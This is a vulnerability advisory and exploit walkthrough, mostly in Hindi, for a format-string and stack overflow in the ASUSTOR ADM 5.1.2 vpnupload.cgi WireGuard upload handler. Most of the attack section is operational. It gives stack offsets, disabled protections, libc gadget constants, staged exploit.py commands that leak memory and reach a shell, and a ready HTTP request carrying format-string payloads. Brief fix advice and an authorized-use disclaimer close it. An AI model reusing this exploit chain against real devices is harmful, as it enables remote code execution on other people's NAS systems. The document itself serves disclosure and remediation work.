
ASUSTOR ADM 5.1.2 vpnupload.cgi फ़ॉर्मेट स्ट्रिंग और स्टैक बफ़र ओवरफ़्लो RCE (CVE-2026-6643)
| फ़ील्ड | मान |
|---|
| उत्पाद | ASUSTOR ADM (ASUSTOR Data Master) |
| प्रभावित संस्करण | ADM 5.1.2.REO1 (X64_G3, 2026-02-25) |
| घटक | /portal/apis/settings/vpnupload.cgi — upload_wireguard एक्शन |
| भेद्यता प्रकार | CWE-134 फ़ॉर्मेट स्ट्रिंग / CWE-121 स्टैक बफ़र ओवरफ़्लो |
| गंभीरता | उच्च |
| प्रमाणीकरण आवश्यक | हाँ (मान्य Revive_Session कुकी) |
| खोज तिथि | 2026-03-14 |
upload_wireguard हैंडलर WireGuard कॉन्फ़िग फ़ाइल को पार्स करता है, फ़ील्ड्स को एक JSON ऑब्जेक्ट में जोड़ता है, फिर परिणाम को सीधे printf() को फ़ॉर्मेट स्ट्रिंग तर्क के रूप में पास करता है:
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2); // user-controlled format string
एक हमलावर किसी भी WireGuard कॉन्फ़िग फ़ील्ड में printf फ़ॉर्मेट स्पेसिफायर एम्बेड कर सकता है:
%x / %p — स्टैक मेमोरी पढ़ें (सूचना रिसाव)%n — मनमानी मेमोरी में लिखें (GOT ओवरराइट के माध्यम से कोड निष्पादन)यही हैंडलर कॉन्फ़िग मानों को 300-बाइट स्टैक बफ़र में कॉपी करने के लिए असीमित sscanf("%s") का उपयोग करता है, जबकि fgets प्रति पंक्ति 32,768 बाइट्स तक स्वीकार करता है:
__isoc23_sscanf(__s, "PrivateKey = %s", local_ac4); // 300B
__isoc23_sscanf(__s, "Endpoint = %s", local_164); // 300B
// 8 fields total; only DNS has a length limit
300 से अधिक बाइट्स आपूर्ति करने पर निकटवर्ती बफ़र में ओवरफ़्लो हो जाता है। 4,000 बाइट्स पर सेव्ड RIP दूषित हो जाता है, जिससे SIGSEGV उत्पन्न होता है।
| सुरक्षा | स्थिति | प्रभाव |
|---|---|---|
| FORTIFY_SOURCE | अक्षम | printf (__printf_chk नहीं) — %n लेखन काम करता है |
| स्टैक कैनरी | अक्षम | कैनरी लीक की आवश्यकता नहीं |
| PIE | अक्षम | GOT और गैजेट पते स्थिर हैं |
| RELRO | आंशिक | GOT लिखने योग्य है |
Step 1 Format string %x → Leak stack memory, recover libc base
Step 2 Endpoint overflow → Overwrite saved RIP with one-gadget / system()
Step 3 execve("/bin/sh") → Shell as the web server user
local_164 (Endpoint बफ़र) rbp-0x164 पर स्थित है, जो आठ बफ़रों में से सेव्ड रिटर्न एड्रेस के सबसे निकट है:
Stack layout (Ghidra):
local_ac4 PrivateKey rbp-0xac4 300B
local_998 Address rbp-0x998 300B
local_86c PublicKey rbp-0x86c 300B
local_740 ListenPort rbp-0x740 300B
local_4e8 PresharedKey rbp-0x4e8 300B
local_3bc AllowedIPs rbp-0x3bc 300B
local_290 PersistentKeepalive rbp-0x290 300B
local_164 Endpoint rbp-0x164 300B ← target
saved RBP rbp+0x000
saved RIP rbp+0x008 ← 0x164 + 8 = 364 bytes away
sscanf("%s") नल बाइट पर कॉपी करना रोक देता है। लिटिल-एंडियन में एक libc पता (0x7f...) दो नल बाइट्स के साथ समाप्त होता है। हालाँकि, किसी भी सेव्ड RIP के ऊपरी दो बाइट्स पहले से 0x0000 रखते हैं, इसलिए sscanf जल्दी समाप्त होने पर भी लेखन सही ढंग से पहुँचता है:
one_gadget address 0x00007f1234567890 (little-endian):
\x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
^--- sscanf stops here
but these bytes were already 0x00 → correct
सभी मध्यवर्ती ROP गैजेट्स को एम्बेडेड नल बाइट्स से बचने के लिए libc (0x7f... रेंज) से भी आना चाहिए। श्रृंखला में केवल अंतिम मान नल के साथ समाप्त हो सकता है।
uv add requests
uv run exploit.py <host:port> '<cookie>' --stage offset
उदाहरण आउटपुट:
[*] Detecting format string argument offset...
[+] Offset: 8 (echo: AAAA.41414141...)
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8
उदाहरण आउटपुट:
[+] Stack dump (args 8..47):
[ 8] 0x0000000000000000
[ 9] 0x00007f8b2c3d4e5f ← libc candidate
...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
Subtract the known offset of whichever symbol this is:
libc_base = 0x7f8b2c3d4e5f - <symbol_offset>
सिंबल की पहचान करें और libc बेस की गणना करें:
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000
# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'
फ़र्मवेयर इमेज से libc.so.6 निकालें, फिर चलाएँ:
# system() offset
readelf -s libc.so.6 | grep -w system
# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'
# one_gadget offsets
one_gadget libc.so.6 # gem install one_gadget
exploit.py में स्थिरांक अपडेट करें:
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"
dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"
[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
नोट: दो मल्टीपार्ट सेक्शन आवश्यक हैं। पार्सर एक बाउंड्री काउंटर का उपयोग करता है;
sscanfपार्सिंग केवल दूसरे सेक्शन पर सक्रिय होती है।
प्रतिक्रिया (clientprivatekey फ़ील्ड):
AAAA_feebd19f_0000012b_0000007d_00000002
PrivateKey को 4,000 बाइट्स पर सेट करें → SIGSEGV (एग्ज़िट कोड 139)।
| भेद्यता | समाधान |
|---|---|
| फ़ॉर्मेट स्ट्रिंग | printf(pcVar2) को printf("%s", pcVar2) या fputs(pcVar2, stdout) से बदलें |
| बफ़र ओवरफ़्लो | सभी sscanf फ़ॉर्मेट स्ट्रिंग्स में लंबाई सीमाएँ जोड़ें (जैसे 300-बाइट बफ़र के लिए %299s) |
X64_G3_5.1.2.REO1.img — vpnupload.cgi इमेज से निकाला गयाld-linux और साझा लाइब्रेरीज़ का उपयोग करते हुए0x1224 पर सिंगल-बाइट पैच je → jmp (केवल स्थानीय परीक्षण के लिए)यह एक्सप्लॉइट केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इसका उपयोग न करें।